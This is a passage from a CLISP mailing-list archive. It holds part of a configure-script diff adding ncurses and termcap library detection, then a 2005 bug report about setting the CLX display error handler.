PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS' +ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBNCURSES LTLIBNCURSES LIBTERMCAP LTLIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS' ac_subst_files='' # Initialize some variables set by options. @@ -871,6 +871,10 @@ --with-libsigsegv-prefix[=DIR] search for libsigsegv in DIR/include and DIR/lib --without-libsigsegv-prefix don't search for libsigsegv in includedir and libdir --with-x use the X Window System + --with-libncurses-prefix[=DIR] search for libncurses in DIR/include and DIR/lib + --without-libncurses-prefix don't search for libncurses in includedir and libdir + --with-libtermcap-prefix[=DIR] search for libtermcap in DIR/include and DIR/lib + --without-libtermcap-prefix don't search for libtermcap in includedir and libdir --with-readline use readline (default is YES, if present) --with-libreadline-prefix[=DIR] search for libreadline in DIR/include and DIR/lib --without-libreadline-prefix don't search for libreadline in includedir and libdir @@ -24707,6 +24711,862 @@ { echo "$as_me:$LINENO: * checks for libraries" >&5 echo "$as_me: * checks for libraries" >&6;} + + + + + + echo "$as_me:$LINENO: checking how to link with libncurses" >&5 +echo $ECHO_N "checking how to link with libncurses... $ECHO_C" >&6 +if test "${ac_cv_libncurses_libs+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + + + + use_additional=yes + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + +# Check whether --with-libncurses-prefix or --without-libncurses-prefix was given. +if test "${with_libncurses_prefix+set}" = set; then + withval="$with_libncurses_prefix" + + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + else + additional_includedir="$withval/include" + additional_libdir="$withval/lib" + fi + fi + +fi; + LIBNCURSES= + LTLIBNCURSES= + INCNCURSES= + rpathdirs= + ltrpathdirs= + names_already_handled= + names_next_round='ncurses ' + while test -n "$names_next_round"; do + names_this_round="$names_next_round" + names_next_round= + for name in $names_this_round; do + already_handled= + for n in $names_already_handled; do + if test "$n" = "$name"; then + already_handled=yes + break + fi + done + if test -z "$already_handled"; then + names_already_handled="$names_already_handled $name" + uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'` + eval value=\"\$HAVE_LIB$uppername\" + if test -n "$value"; then + if test "$value" = yes; then + eval value=\"\$LIB$uppername\" + test -z "$value" || LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$value" + eval value=\"\$LTLIB$uppername\" + test -z "$value" || LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$value" + else + : + fi + else + found_dir= + found_la= + found_so= + found_a= + if test $use_additional = yes; then + if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then + found_dir="$additional_libdir" + found_so="$additional_libdir/lib$name.$shlibext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + else + if test -f "$additional_libdir/lib$name.$libext"; then + found_dir="$additional_libdir" + found_a="$additional_libdir/lib$name.$libext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + fi + fi + fi + if test "X$found_dir" = "X"; then + for x in $LDFLAGS $LTLIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + case "$x" in + -L*) + dir=`echo "X$x" | sed -e 's/^X-L//'` + if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then + found_dir="$dir" + found_so="$dir/lib$name.$shlibext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + else + if test -f "$dir/lib$name.$libext"; then + found_dir="$dir" + found_a="$dir/lib$name.$libext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + fi + fi + ;; + esac + if test "X$found_dir" != "X"; then + break + fi + done + fi + if test "X$found_dir" != "X"; then + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$found_dir -l$name" + if test "X$found_so" != "X"; then + if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + else + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $found_dir" + fi + if test "$hardcode_direct" = yes; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + else + if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $found_dir" + fi + else + haveit= + for x in $LDFLAGS $LIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir" + fi + if test "$hardcode_minus_L" != no; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + else + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name" + fi + fi + fi + fi + else + if test "X$found_a" != "X"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_a" + else + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir -l$name" + fi + fi + additional_includedir= + case "$found_dir" in + */lib | */lib/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'` + additional_includedir="$basedir/include" + ;; + esac + if test "X$additional_includedir" != "X"; then + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + for x in $CPPFLAGS $INCNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + INCNCURSES="${INCNCURSES}${INCNCURSES:+ }-I$additional_includedir" + fi + fi + fi + fi + fi + if test -n "$found_la"; then + save_libdir="$libdir" + case "$found_la" in + */* | *\\*) . "$found_la" ;; + *) . "./$found_la" ;; + esac + libdir="$save_libdir" + for dep in $dependency_libs; do + case "$dep" in + -L*) + additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'` + if test "X$additional_libdir" != "X/usr/lib"; then + haveit= + if test "X$additional_libdir" = "X/usr/local/lib"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + haveit= + for x in $LDFLAGS $LIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$additional_libdir" + fi + fi + haveit= + for x in $LDFLAGS $LTLIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$additional_libdir" + fi + fi + fi + fi + ;; + -R*) + dir=`echo "X$dep" | sed -e 's/^X-R//'` + if test "$enable_rpath" != no; then + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $dir" + fi + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $dir" + fi + fi + ;; + -l*) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'` + ;; + *.la) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` + ;; + *) + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$dep" + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$dep" + ;; + esac + done + fi + else + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name" + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-l$name" + fi + fi + fi + done + done + if test "X$rpathdirs" != "X"; then + if test -n "$hardcode_libdir_separator"; then + alldirs= + for found_dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir" + done + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag" + else + for found_dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$found_dir" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag" + done + fi + fi + if test "X$ltrpathdirs" != "X"; then + for found_dir in $ltrpathdirs; do + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-R$found_dir" + done + fi + + ac_cv_libncurses_libs="$LIBNCURSES" + ac_cv_libncurses_ltlibs="$LTLIBNCURSES" + ac_cv_libncurses_cppflags="$INCNCURSES" + +fi +echo "$as_me:$LINENO: result: $ac_cv_libncurses_libs" >&5 +echo "${ECHO_T}$ac_cv_libncurses_libs" >&6 + LIBNCURSES="$ac_cv_libncurses_libs" + LTLIBNCURSES="$ac_cv_libncurses_ltlibs" + INCNCURSES="$ac_cv_libncurses_cppflags" + + for element in $INCNCURSES; do + haveit= + for x in $CPPFLAGS; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X$element"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element" + fi + done + + + + HAVE_LIBNCURSES=yes + + + + + + + + + echo "$as_me:$LINENO: checking how to link with libtermcap" >&5 +echo $ECHO_N "checking how to link with libtermcap... $ECHO_C" >&6 +if test "${ac_cv_libtermcap_libs+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + + + + use_additional=yes + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + +# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given. +if test "${with_libtermcap_prefix+set}" = set; then + withval="$with_libtermcap_prefix" + + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + else + additional_includedir="$withval/include" + additional_libdir="$withval/lib" + fi + fi + +fi; + LIBTERMCAP= + LTLIBTERMCAP= + INCTERMCAP= + rpathdirs= + ltrpathdirs= + names_already_handled= + names_next_round='termcap ' + while test -n "$names_next_round"; do + names_this_round="$names_next_round" + names_next_round= + for name in $names_this_round; do + already_handled= + for n in $names_already_handled; do + if test "$n" = "$name"; then + already_handled=yes + break + fi + done + if test -z "$already_handled"; then + names_already_handled="$names_already_handled $name" + uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'` + eval value=\"\$HAVE_LIB$uppername\" + if test -n "$value"; then + if test "$value" = yes; then + eval value=\"\$LIB$uppername\" + test -z "$value" || LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$value" + eval value=\"\$LTLIB$uppername\" + test -z "$value" || LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$value" + else + : + fi + else + found_dir= + found_la= + found_so= + found_a= + if test $use_additional = yes; then + if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then + found_dir="$additional_libdir" + found_so="$additional_libdir/lib$name.$shlibext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + else + if test -f "$additional_libdir/lib$name.$libext"; then + found_dir="$additional_libdir" + found_a="$additional_libdir/lib$name.$libext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + fi + fi + fi + if test "X$found_dir" = "X"; then + for x in $LDFLAGS $LTLIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + case "$x" in + -L*) + dir=`echo "X$x" | sed -e 's/^X-L//'` + if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then + found_dir="$dir" + found_so="$dir/lib$name.$shlibext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + else + if test -f "$dir/lib$name.$libext"; then + found_dir="$dir" + found_a="$dir/lib$name.$libext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + fi + fi + ;; + esac + if test "X$found_dir" != "X"; then + break + fi + done + fi + if test "X$found_dir" != "X"; then + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$found_dir -l$name" + if test "X$found_so" != "X"; then + if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + else + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $found_dir" + fi + if test "$hardcode_direct" = yes; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + else + if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $found_dir" + fi + else + haveit= + for x in $LDFLAGS $LIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir" + fi + if test "$hardcode_minus_L" != no; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + else + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name" + fi + fi + fi + fi + else + if test "X$found_a" != "X"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_a" + else + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir -l$name" + fi + fi + additional_includedir= + case "$found_dir" in + */lib | */lib/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'` + additional_includedir="$basedir/include" + ;; + esac + if test "X$additional_includedir" != "X"; then + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + for x in $CPPFLAGS $INCTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + INCTERMCAP="${INCTERMCAP}${INCTERMCAP:+ }-I$additional_includedir" + fi + fi + fi + fi + fi + if test -n "$found_la"; then + save_libdir="$libdir" + case "$found_la" in + */* | *\\*) . "$found_la" ;; + *) . "./$found_la" ;; + esac + libdir="$save_libdir" + for dep in $dependency_libs; do + case "$dep" in + -L*) + additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'` + if test "X$additional_libdir" != "X/usr/lib"; then + haveit= + if test "X$additional_libdir" = "X/usr/local/lib"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + haveit= + for x in $LDFLAGS $LIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$additional_libdir" + fi + fi + haveit= + for x in $LDFLAGS $LTLIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$additional_libdir" + fi + fi + fi + fi + ;; + -R*) + dir=`echo "X$dep" | sed -e 's/^X-R//'` + if test "$enable_rpath" != no; then + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $dir" + fi + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $dir" + fi + fi + ;; + -l*) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'` + ;; + *.la) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` + ;; + *) + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$dep" + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$dep" + ;; + esac + done + fi + else + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name" + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-l$name" + fi + fi + fi + done + done + if test "X$rpathdirs" != "X"; then + if test -n "$hardcode_libdir_separator"; then + alldirs= + for found_dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir" + done + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag" + else + for found_dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$found_dir" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag" + done + fi + fi + if test "X$ltrpathdirs" != "X"; then + for found_dir in $ltrpathdirs; do + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-R$found_dir" + done + fi + + ac_cv_libtermcap_libs="$LIBTERMCAP" + ac_cv_libtermcap_ltlibs="$LTLIBTERMCAP" + ac_cv_libtermcap_cppflags="$INCTERMCAP" + +fi +echo "$as_me:$LINENO: result: $ac_cv_libtermcap_libs" >&5 +echo "${ECHO_T}$ac_cv_libtermcap_libs" >&6 + LIBTERMCAP="$ac_cv_libtermcap_libs" + LTLIBTERMCAP="$ac_cv_libtermcap_ltlibs" + INCTERMCAP="$ac_cv_libtermcap_cppflags" + + for element in $INCTERMCAP; do + haveit= + for x in $CPPFLAGS; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X$element"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element" + fi + done + + + + HAVE_LIBTERMCAP=yes + + + LIBTERMCAP="broken" echo "$as_me:$LINENO: checking for library containing tgetent" >&5 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6 @@ -35223,7 +36083,10 @@ s,@X_LIBS@,$X_LIBS,;t t s,@GMALLOC@,$GMALLOC,;t t s,@ALLOCA@,$ALLOCA,;t t +s,@LIBNCURSES@,$LIBNCURSES,;t t +s,@LTLIBNCURSES@,$LTLIBNCURSES,;t t s,@LIBTERMCAP@,$LIBTERMCAP,;t t +s,@LTLIBTERMCAP@,$LTLIBTERMCAP,;t t s,@PACKAGE@,$PACKAGE,;t t s,@LIBOBJS@,$LIBOBJS,;t t s,@LTLIBOBJS@,$LTLIBOBJS,;t t From lisp-clisp-list@m.gmane.org Sat Oct 08 03:11:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOBfX-000380-ER for clisp-list@lists.sourceforge.net; Sat, 08 Oct 2005 03:11:07 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EOBfU-0001Oa-Pg for clisp-list@lists.sourceforge.net; Sat, 08 Oct 2005 03:11:07 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EOBex-0001gu-EQ for clisp-list@lists.sourceforge.net; Sat, 08 Oct 2005 12:10:31 +0200 Received: from h170n1fls23o1074.bredband.comhem.se ([213.67.239.170]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 08 Oct 2005 12:10:31 +0200 Received: from mange by h170n1fls23o1074.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 08 Oct 2005 12:10:31 +0200 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 17 Message-ID: <874q7s72of.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: h170n1fls23o1074.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:n2q0L3w8ktmVGWw5lHxIAjFHlVo= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Setf of xlib:display-error-handler doesn't work Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 8 03:11:33 2005 X-Original-Date: Sat, 08 Oct 2005 11:56:00 +0200 With clisp-2.35 and new-clx, given these functions: (defun error-handler (&rest ignore) ) (defun clx-test () (let ((display (xlib:open-display "" :display 0))) (setf (xlib:display-error-handler display) 'error-handler) (xlib:close-display *display))) running (clx-test) gives: *** - XLIB::SET-DISPLAY-ERROR-HANDLER: ERROR-HANDLER is not of type XLIB:DISPLAY Seems like a problem with argument order... Magnus From sds@gnu.org Sat Oct 08 09:22:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOHSX-0000K3-Bi for clisp-list@lists.sourceforge.net; Sat, 08 Oct 2005 09:22:05 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOHSU-0006Q7-VZ for clisp-list@lists.sourceforge.net; Sat, 08 Oct 2005 09:22:05 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 08 Oct 2005 